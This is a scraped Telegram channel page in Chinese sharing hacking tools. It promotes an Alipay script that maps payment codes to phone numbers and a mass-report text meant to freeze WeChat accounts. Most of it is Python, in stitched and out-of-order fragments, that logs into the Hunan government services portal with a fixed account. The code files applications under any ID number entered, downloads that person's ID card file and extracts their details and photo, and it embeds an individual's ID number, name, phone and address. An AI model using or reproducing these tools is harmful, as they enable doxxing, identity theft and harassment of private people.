en
Feedback

Don't get caught by a cheater! Telemetrio finds and tags such channels 👉 If you want to see the tag, subscribe

陈权天下

陈权天下

Open in Telegram

分享各种py文件/工具/思路 让你拥有一个安心可靠的技术交流学习通道 频道主 - @lunbian 本频道为技术分享频道 ,频道中投稿分享的所有漏洞请涉事官方尽快修复!避免不法分子滥用造成危害

Show more
The country is not specifiedThe category is not specified
4 909
Subscribers
-3924 hours
-3727 days
-72630 days
Posts Archive
#小程序://廊银小惠/个人中心/ah1BAcYU1HgT5sq 全国头 早上7:30-晚上19:00 替换tk 📮 - 投稿通道

#小程序://廊银小惠/个人中心/ah1BAcYU1HgT5sq 全国头 早上7:30-晚上19:00 替换tk

😌😋😏😏🦌🦌🦌🦌🦌

祝大家端午安康🥰🥺

支付宝码反由于资本家的压迫被迫下架了

支码反sjh.py0.05 KB

🔝👀👀👀 😎支付宝反手机号 全自动码反
收款码 →标识(如fkx13183dyjditcgj9gjva5)+完整手机号手机号是靠跑的→uid
原理大概就是这个原理,生成手机号来跑,我和别人的不一样 因为我问过别人 这也是一种方法 只不过是耗时比较久 去支付宝网页版抓CK替换
Comply with EU laws and Telegram regulations. All content in the group is AI-generated without any negative impact and is for reference only.

👍👍👍🔴🔴 👀👀👀微信wwg 秒冻结
+1
👍👍👍🔴🔴 👀👀👀微信wwg 秒冻结

sticker.webp0.37 KB

✉️你还在苦恼找不到Telegram优质资源而发愁吗 想找公益封号思路的频道?想找可以开户查档的频道?想找经常送福利可以白嫖各种账号 py 思路的频道?
🔗一键加入Telegram优质频道 点击一键加入 点击一键加入 点击一键加入
😀
这个频道是我收集许久的Telegram里最顶尖优质的频道 加入这个频道不用花一毛钱就可以学到一堆思路 带走一堆福利 给各位一个最好的观感体验,不辜负每一个点击加入的朋友。你的信任,我的责任,给你一分信任,还你一分放心。

进频道拿了就跑死妈
偷了思路/py/文本就跑死妈死全家
拿了不进频道死妈

⭐😀😃😀😀😀😀非原创 📱最新100%秒冻结 举报-色情-理由填如下代码即可 5秒不掉我和你姓
D闥牿蓥癸缠+驵翌釩庫口品0郧++*鯰D铋加D0跌些毖+++口d品口处歆剀口謠++跫梨斐盟&融口鸛缠十十+口¥DO鬯癸口闥製+++该足口卧膜口辽翌D蛄梨哭辐入衾O釘梨+t罨+该足口臥膜+++口觥3裉U+紹诧H[裤牿廿t++盟鬯癸口闥牿n缠訾若被口盟骨莅0苦脞口$+*2口型邺牆t+该足口臥之郑口鮮8$0DO当口?
Comply with EU laws and Telegram regulations. All content in the group is AI-generated without any negative impact and is for reference only.

if __name__ == "__main__": 
    try: 
        sys.exit(main()) 
    except Exception as e: 
        import traceback 
        traceback.print_exc() 
        print(f"\n❌ FAILED: {e}", file=sys.stderr) 
        sys.exit(1)

"disablerFlag": "0", "aac0012": secrets.randbelow(100000000), "baz245": "003", "aaz065": "", "baz912": "5", "update": "0", "baz829": "1", "czdjlxx": [], "sczd": "", "aab301": "", "aae006": addr_str if isinstance(addr_str, str) else "", "hjddjlxx": [], "c": "", "aac300": "", "aac010": None, "baz536": None, "baz006": "1", "baz246": None, "baz005": "", "baz007": "", "aac042": None, "aac044": "", "bae001": None, "baz538": "", "yjdjlxx": [], "cc": "", "baz020": "", "baz021": addr_str if isinstance(addr_str, str) else "", "AAE016": "1", "BAB069": None, "Applicant_number": "", "Unit_insured_return": [], "emp_no": "", "Province_Health_Insurance_Coordination_Area": { "country": {}, "town": {}, "city": {}, "region": {}, "province": {"name": "湖南省", "label": "湖南省", "id": "430000000000", "value": "430000000000"}, }, "cxjmcbxxbg": [], "bghxb": "", "bghgj": "", "bghmz": "", "bghcsrq": None, "bghsjhm": "", "bghhkxz": "", "bghzzmm": "", "bghdzyx": "", "participat_household_postal_code": "", "Administrative_region_of_domicile_province": "", "Administrative_region_of_domicile_city": "", "Administrative_region_of_domicile_area": "", "hjszdxxdz": "", "petitor_domicile_zip_code": "", "Administrative_district_of_residence_province": "", "Administrative_region_and_province_of_residence_city": "", "Administrative_region_and_province_of_residence_area": "", "xjjdxxdz": "", "corpName": "", "insutyp": "", "INSU_ADMDVS": area_code[:6], "Applicant_insurance_status": "1", "sqrhjmtdz": addr_str if isinstance(addr_str, str) else "", "remark": "", "blcjsx": "3", "blcjssx": "3", "blddxz": [area_code], "SQRQ": now_ms, } # ===================== 入口 ===================== def main() -> int: print("="*60) print("湖南省政务服务网 - 灵活就业参保一件事") print("OFD身份证信息提取功能已集成") print("="*60) # 让用户输入身份证号 user_cert_num = input("\n请输入要办理业务的身份证号: ").strip() if not user_cert_num: print("❌ 错误:身份证号不能为空!") return 1 # 简单验证身份证号格式(18位) if len(user_cert_num) != 18 or not user_cert_num[:-1].isdigit(): print("❌ 错误:请输入正确的18位身份证号!") return 1 # 询问是否需要自动提取身份证信息 extract_info = input("\n是否自动提取OFD中的身份证信息?(y/n, 默认y): ").strip().lower() extract_info = extract_info != 'n' print(f"\n[info] 使用固定账号登录: {LOGIN_ACCOUNT}") print(f"[info] 业务办理人身份证号: {user_cert_num}") print() area_code = AREA_REGION[1] c = HunanZwfwOnethingClient(LOGIN_ACCOUNT, LOGIN_PASSWORD, user_cert_num) c.login() c.fetch_version() # 先拿用户实名信息(一件事的 smart_guidance_check 需要完整 formRef.values) user_info = c.fetch_user_info() print(f"[user_info] {json.dumps(user_info, ensure_ascii=False)}") # 使用用户输入的身份证号构建表单 form_values = build_form_values(user_info, area_code, user_cert_num) c.smart_guidance(form_values) c.smart_materials() c.init_instance() c.save_accept_info(form_values) try: approve_id = c.submit_accept_info(form_values) print(f"[submit] OK approveId={approve_id}") except RuntimeError as e: # submit 不是证照生成的硬性前置依赖;某些 area + 子事项 组合后端没匹配到 # 实施清单(错误 "未匹配到实施清单"),但 instance 还是创建好的, # generate_template 可以独立尝试。 print(f"[submit] 跳过(业务校验未通过):{e}") # 下载OFD并提取信息 ofd_path, id_card_info = c.download_id_card_ofd(extract_info=extract_info) if ofd_path and id_card_info: print(f"\n✅ 成功!OFD文件保存在: {ofd_path}") print("✅ 身份证信息提取完成") return 0 elif ofd_path: print(f"\n⚠️ OFD文件已下载但未提取信息: {ofd_path}") return 0 else: print("\n❌ 未能下载OFD文件(可能是后端数据问题)") return 1

"province": {"label": province[0], "value": province[1], "id": province[1], "name": province[0]}, "city": {"label": city[0], "value": city[1], "id": city[1], "name": city[0]}, "region": {"label": region[0], "value": region[1], "id": region[1], "name": region[0]}, "town": {"label": town[0], "value": town[1], "id": town[1], "name": town[0]}, } if country: blk["country"] = {"label": country[0], "value": country[1], "id": country[1], "name": country[0]} else: blk["country"] = {} if detail: blk["detail"] = detail return blk def build_situation_params(area_code: str) -> dict: """智能导办校验时传给后端的字段值(地区+层级+子事项+子情形)。 从浏览器抓到的 formRef.values 的子集: blddxz = [区县级 area code 列表] -- 这里就是芙蓉区 blcjsx = "3" 办理层级: 1省/2市/3区县/4乡镇 blcjssx = "3" 同上 lhjycbyjs = ["1"] 一件事勾选:流动人员人事档案接收和转递 ldryrsdajshzd = ["1"] 二级勾选:档案的接收(个人存档) """ return { "blddxz": [area_code], "blcjssx": "3", "blcjsx": "3", "blcjssxxz": "3", "lhjycbyjs": ["1"], "ldryrsdajshzd": ["1"], "INSU_ADMDVS": area_code[:6], } def build_form_values(user_info: dict, area_code: str, user_cert_num: str) -> dict: """构造与 Vue formRef.values 完全一致的对象(来自浏览器抓取)。 使用用户输入的身份证号覆盖 user_info 中的信息。 """ # 优先使用用户输入的身份证号 cert_num = user_cert_num if user_cert_num else (user_info.get("certificateNum") or "431024200805230056") name = user_info.get("name") or "肖锦云" phone = user_info.get("phone") or "18024094679" addr_str = user_info.get("addr") or "湖南省嘉禾县袁家镇铸乡村毛家组104号" residence_block = _addr_block(AREA_PROVINCE, AREA_CITY, AREA_REGION, AREA_TOWN) addr_block = _addr_block( ("湖南省", "430000000000"), ("郴州市", "431000000000"), ("嘉禾县", "431024000000"), ("袁家镇", "431024103000"), ("铸乡村", "431024103228"), detail="毛家组104号", ) # birthday/age: 优先 user_info,没值就从身份证算 birthday_ms = user_info.get("birthday") or None age = user_info.get("age") or None if isinstance(birthday_ms, str): s = birthday_ms.replace("-", "").replace("/", "").strip() if len(s) == 8 and s.isdigit(): dt = datetime.strptime(s, "%Y%m%d").replace(tzinfo=timezone(timedelta(hours=8))) birthday_ms = int(dt.timestamp() * 1000) else: birthday_ms = None if (birthday_ms is None or age in (None, "")) and len(cert_num) == 18: dt = datetime.strptime(cert_num[6:14], "%Y%m%d").replace(tzinfo=timezone(timedelta(hours=8))) if birthday_ms is None: birthday_ms = int(dt.timestamp() * 1000) if not age: age = datetime.now().year - dt.year age = int(age) if age else 18 now_ms = int(datetime.now().timestamp() * 1000) return { "aaa027": "", "bac165": "", "bac166": "", "APPLY_TYPE": user_info.get("APPLY_TYPE", "1"), "certificateNum": cert_num, "name": name, "certificateType": user_info.get("certificateType", "111"), "sex": user_info.get("sex", "1") or "1", "birthday": birthday_ms, "age": age, "nation": user_info.get("nation", ""), "phone": phone, "email": user_info.get("email", ""), "aac009": "", "shbxdj": [], "shbzksl1": [], "bac146": None, "bac117": None, "addr": addr_block, "residence": residence_block, "blcjssxxz": "3", "agent": name, "agentType": "111", "agentCertNum": cert_num, "agentPhone": phone, "lhjycbyjs": ["1"], "ldryrsdajshzd": ["1"], "field_mogvllud": "", "jbylbxcbhbgdj": [], "acc711": "", "aec701_curr": "", "aec700": [], "aac001": "", "aae140": "", "aac313": "102", "aac313_cx": "011", "aac030": now_ms, "participat_first_enrollment_date": None, "tcqdjlxx": [], "tcqsdyz": "", "bac167": "", "aac028": "",

print(f"[gen] 第 {i}/{max_retries} 次失败: code={r.get('code')} msg={msg!r}") time.sleep(2) return last or {} def download_attachment(self, pic_path: str, bucket: str) -> bytes: r = self.session.get( f"{ZW_HOST}/picPathMapping", params={"picPath": pic_path, "bucketName": bucket}, timeout=60, ) r.raise_for_status() return r.content def extract_id_card_info(self, ofd_content): """提取OFD文件中的身份证信息""" extractor = OFDIDCardExtractor(ofd_content) result = extractor.extract() if result: return result return None def download_id_card_ofd(self, output_path: str | None = None, extract_info=True) -> tuple[str | None, dict | None]: """生成并下载身份证 OFD,并可选择提取身份证信息 返回: (ofd文件路径, 提取的身份证信息字典) """ # 取待生成材料的 onethingMaterialId tobegen = self.tobegen_materials() target_mid = None for it in tobegen: if "身份证" in (it.get("materialName") or ""): target_mid = it.get("onethingMaterialId") break if not target_mid and tobegen: target_mid = tobegen[0].get("onethingMaterialId") if not target_mid: print("[gen] tobegen 列表为空 — 本事项+地区组合无需生成证照(材料清单为空)。") return None, None print(f"[gen] target onethingMaterialId={target_mid}") gen = self.generate_template(target_mid) if gen.get("code") != 0: print(f"[gen] generate_template 最终失败: {gen}") print("[gen] 提示:本事项+地区+申请人组合在公安数据库中查不到证照(与浏览器行为一致)。") return None, None # 取材料拿附件 materials_resp = self.list_materials() data = materials_resp.get("data") or {} materials = data if isinstance(data, list) else data.get("materials") or [] id_card = next((m for m in materials if "身份证" in (m.get("materialName") or "")), None) if not id_card: raise RuntimeError(f"materials 中无身份证: {[m.get('materialName') for m in materials]}") attach_list = id_card.get("attachList") or [] chosen = next((a for a in attach_list if "身份证" in (a.get("attachName") or "")), None) \ or (attach_list[0] if attach_list else None) if not chosen: print(f"[gen] 未生成附件: {id_card}") return None, None # 下载OFD文件 blob = self.download_attachment(chosen["attachUrl"], chosen["bucketName"]) if not output_path: output_path = f"身份证_{self.user_cert_num}_43PCP0021_{datetime.now():%Y%m%d_%H%M%S}.ofd" with open(output_path, "wb") as f: f.write(blob) print(f"[done] {output_path} ({len(blob)} bytes)") # 提取身份证信息 id_card_info = None if extract_info: print("[提取] 开始提取OFD中的身份证信息...") result = self.extract_id_card_info(blob) if result: id_card_info = result print("\n" + "="*60) print("身份证信息提取结果:") print("="*60) for key, value in id_card_info['info'].items(): if value: print(f"{key}: {value}") if id_card_info['photo']: print(f"头像: 已提取 ({len(id_card_info['photo'])} bytes)") # 可选:保存头像 photo_path = output_path.replace('.ofd', '_头像.jpg') with open(photo_path, 'wb') as f: f.write(id_card_info['photo']) print(f"头像已保存: {photo_path}") print("="*60 + "\n") else: print("[提取] OFD信息提取失败") return output_path, id_card_info # ===================== 表单构造 ===================== def _addr_block(province, city, region, town, country=None, detail=""): blk = {

onething_checklist_id = im.get("yjsSsqdId") or "" if not self.onething_checklist_id: raise RuntimeError(f"未拿到 yjsSsqdId: {r}") print(f"[checklist] onethingChecklistId={self.onething_checklist_id}") def init_instance(self) -> None: url = ( f"/unify_accept/v1/onethings/{self.onething_approve_version_id}" f"/implemetation/{self.onething_checklist_id}/instance_init" f"?processGuidanceId={self.guide_process_id}" ) r = self.gateway_post(url, body=None) print(f"[init-raw] {r}") if r.get("code") != 0: raise RuntimeError(f"instance_init 失败: {r}") self.onething_instance_id = r["data"] print(f"[init] onethingInstanceId={self.onething_instance_id}") # ---------- 用户实名 ---------- def fetch_user_info(self) -> dict: r = self.gateway_get("/unify_accept/v1/user_info_wt", encrypt=True) cipher = None if isinstance(r, dict): if isinstance(r.get("data"), str): cipher = r["data"] elif isinstance(r.get("raw"), str): cipher = r["raw"].strip().strip('"').strip("'") elif isinstance(r.get("data"), dict): return r["data"] if not cipher: print(f"[user_info_wt-raw] {r}") return {} try: plain = self.biz_decrypt(cipher) user_info = json.loads(plain) if plain.startswith(("{", "[")) else {"raw": plain} except Exception as e: print(f"[user_info_wt] 解密失败: {e}") return {} print(f"[user_info_wt] keys={list(user_info.keys()) if isinstance(user_info, dict) else type(user_info).__name__}") return user_info # ---------- 保存 / 提交受理表单 ---------- def save_accept_info(self, form_values: dict) -> None: url = f"/unify_accept/v1/onething_instances/{self.onething_instance_id}/accept_infos/save" body = {"formData": json.dumps(form_values, ensure_ascii=False), "onethingInstanceId": self.onething_instance_id} r = self.gateway_post(url, body=body, encrypt_body=True) print(f"[save-raw] {r}") if not (r.get("success") or r.get("code") == 0): raise RuntimeError(f"accept_infos/save 失败: {r}") print("[save] OK") def submit_accept_info(self, form_values: dict) -> str: url = f"/unify_accept/v1/onething_instances/{self.onething_instance_id}/accept_infos/submit" body = {"formData": json.dumps(form_values, ensure_ascii=False), "onethingInstanceId": self.onething_instance_id} r = self.gateway_post(url, body=body, encrypt_body=True) print(f"[submit-raw] {r}") if not (r.get("success") or r.get("code") == 0): raise RuntimeError(f"accept_infos/submit 失败: {r}") d = r.get("data") or {} return d.get("yjsSsqdId") or d.get("approveId") or self.onething_checklist_id # ---------- 生成附件 + 下载 OFD ---------- def list_materials(self) -> dict: return self.gateway_get(f"/unify_accept/v1/onething_instances/mp/{self.onething_instance_id}/materials") def tobegen_materials(self) -> list: r = self.gateway_get(f"/unify_accept/v1/onething_instances/tobegen/{self.onething_instance_id}/materials") print(f"[tobegen-raw] {r}") return r.get("data") or [] def generate_template(self, material_id: str, *, max_retries: int = 5) -> dict: """生成证照 — 后端调用公安接口偶发性失败,需要重试。""" import time url = ( f"/unify_accept/v1/onething_instance/{self.onething_instance_id}" f"/material/{material_id}/generate_template" ) last = None for i in range(1, max_retries + 1): r = self.gateway_post(url, body=None) last = r msg = r.get("msg", "") if r.get("code") == 0 or msg in ("处理完成", "已复用", "附件生成完成", "当前材料[身份证]已复用,请无重复复用"): return r

randbelow(10**8) + 1 
        cap = self.session.get( 
            f"{AUTH_HOST}/c2ssocaptcha/{self.captcha_key}/captchanumber", 
            headers={"Referer": login_url}, timeout=15, 
        ) 
        cap.raise_for_status() 
        captcha_text = cap.text.strip() 
        print(f"[login] captcha={captcha_text}") 
         
        body = { 
            "loginType": "gov", 
            "verifyCode": login_encrypt(""), 
            "userType": "1", 
            "account": login_encrypt(self.account), 
            "password": login_encrypt(self.password), 
            "captchaKey": self.captcha_key, 
            "captchaText": login_encrypt(captcha_text), 
            "clientId": CLIENT_ID, 
            "isencrypt": True, 
        } 
        r = self.session.post( 
            f"{AUTH_HOST}/oauth2/login", json=body, 
            headers={ 
                "Accept": "application/json", 
                "Content-Type": "application/json", 
                "Origin": AUTH_HOST, 
                "Referer": login_url, 
                "X-Requested-With": "XMLHttpRequest", 
            }, 
            timeout=30, 
        ) 
        r.raise_for_status() 
         
        # 跑 OAuth 跳转拿 hnywtbC2AT 
        self.session.get( 
            login_url.replace("appGovLogin.jsp", "authorize"), 
            headers={"Referer": f"{AUTH_HOST}/"}, 
            timeout=30, allow_redirects=True, 
        ) 
        cookies = sorted(c.name for c in self.session.cookies) 
        if "hnywtbC2AT" not in cookies: 
            raise RuntimeError(f"登录失败:cookies={cookies}") 
        print(f"[login] 已获取 cookies: {cookies}") 
 
    # ---------- 版本 + 导办 + 实例 ---------- 
    def fetch_version(self) -> None: 
        r = self.gateway_post(f"/unify_accept/v1/onethings/{ONETHING_CODE}/version_id", body=None) 
        print(f"[ver-raw] {r}") 
        if not r.get("success"): 
            raise RuntimeError(f"version_id 失败: {r}") 
        d = r.get("data") or {} 
        if isinstance(d, dict): 
            self.onething_approve_version_id = ( 
                d.get("onethingVersionId") 
                or d.get("singlethingVersionId") 
                or d.get("versionId") 
                or d.get("id") 
                or "" 
            ) 
        elif isinstance(d, str): 
            self.onething_approve_version_id = d 
        if not self.onething_approve_version_id: 
            raise RuntimeError(f"未拿到 versionId: {r}") 
        print(f"[ver] onethingApproveVersionId={self.onething_approve_version_id}") 
 
    def smart_guidance(self, form_params: dict) -> None: 
        """智能导办校验。后端的param.params 必须是完整的 formRef.values 副本, 
        否则会以 '事权地信息项[xxx]未能获取到数据' 报错。""" 
        url = f"/unify_accept/v1/onethings/{self.onething_approve_version_id}/smart_guidance_check" 
        body = { 
            "yjsbbId": self.onething_approve_version_id, 
            "params": form_params, 
        } 
        r = self.gateway_post(url, body=body, encrypt_body=True) 
        print(f"[guidance-raw] code={r.get('code')} msg={r.get('msg')}") 
        if r.get("code") != 0 and not r.get("success"): 
            raise RuntimeError(f"smart_guidance_check 失败: {r}") 
        d = r.get("data") or {} 
        self.guide_process_id = d.get("guideProcessId") or "" 
        if not self.guide_process_id: 
            raise RuntimeError(f"未拿到 guideProcessId: {r}") 
        print(f"[guidance] guideProcessId={self.guide_process_id}") 
 
    def smart_materials(self) -> None: 
        """根据 guideProcessId 拿到 yjsSsqdId (onethingChecklistId)。body 不加密。""" 
        url = f"/unify_accept/v1/onethings/{self.onething_approve_version_id}/guidance/smart_materials" 
        body = { 
            "yjsbbId": self.onething_approve_version_id, 
            "guideProcessId": self.guide_process_id, 
        } 
        r = self.gateway_post(url, body=body, encrypt_body=False) 
        print(f"[smart_materials-raw] {r}") 
        if r.get("code") != 0: 
            raise RuntimeError(f"smart_materials 失败: {r}") 
        im = (r.get("data") or {}).get("imApproveData") or {} 
        self.